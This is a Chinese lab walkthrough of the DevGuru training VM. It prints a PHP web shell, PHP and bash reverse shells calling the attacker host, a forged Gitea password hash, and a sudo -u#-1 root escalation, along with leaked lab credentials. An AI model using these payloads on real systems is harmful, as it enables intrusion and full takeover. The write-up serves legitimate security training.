DevGuru
基础信息
难度取决于经验,我觉着挺难的有很多东西都没有接触过卡了好几天
靶机搭建
该靶场是在VirtualBox上搭建
使用VM上的kali作为攻击机
端口扫描
因为靶机已给出自己的地址这里只需要进行端口发现
nmap -sV -A -p- 192.168.56.104
开放了22与80,8585端口
访问80端口
使用dirb对网站进行扫描
发现.git可能存在.git信息泄露使用githack进行收集
python GitHack.py http://192.168.56.104/.git/
脚本执行完毕后会在GitHack下生成一个目录,可以进入目录查看
最终在config目录下的database.php文件中发现账号和密码
账号:october 密码:SQ66EBYx4GT3byXH
通过之前获取的链接尝试登录
链接:http://192.168.56.104/adminer.php
进入octoberdb
创建一个新用户在之后这个用户需要在之后进行登录
账号:xiaobai 密码:xiaobai
进入http://192.168.56.104/backend/backend使用新建的账号进行登录
我们可以添加一个恶意的PHP代码,以在页面加载时执行该代码。让我们在首页中进行操作。首先创建一个恶意标记,它将标记出php代码
{{this.page.PoisonVar}}
进入cms的home下构建可以在url中执行外部命令的代码
function onStart()
{
$this->page['myVar'] = system($_GET['cmd']);
}
获取shell
尝试调用外部命令
反弹shell
php -r '$sock=fsockopen("192.168.56.102",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
获取交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用LinEnum查找可以利用的文件
python -m SimpleHTTPServer 8000 开放临时临时端口
cd /tmp 进入tmp 目录下将文件从攻击机中下载下来
wget http://192.168.56.102:8000/LinEnum.sh 下载文件
chmod 777 LinEnum.sh 赋予权限
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t 执行脚本
在.bak中发现app.ini.bak文件中含有账号与密码
使用该账号密码进行登录
账号:gitea 密码:UfFPTF8C8jjxVF2m
修改user中frank的密码
因为是使用go语言进行加密,可以使用该程序生成一个新的密码
https://github.com/go-gitea/gitea/blob/master/models/user.go#L377-L395
package main
import (
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
"fmt"
)
func main(){
var tempPasswd []byte
tempPasswd = pbkdf2.Key([]byte("password"), []byte("Bop8nwtUiM"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x",tempPasswd))
}
将程序放在https://play.golang.org/中运行
账号:frank 密码:password
进入Git hooks 修改内容
bash -i >& /dev/tcp/192.168.56.102/4242 0>&1
反弹shell操作如下
成功获取shell
提权
sudo -l查看可利用信息
使用:https://gtfobins.github.io/
https://www.exploit-db.com/exploits/47502
查询使用信息
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
提权成功
来源:freebuf.com 2021-02-05 14:19:51 by: WAFmax
请登录后发表评论
注册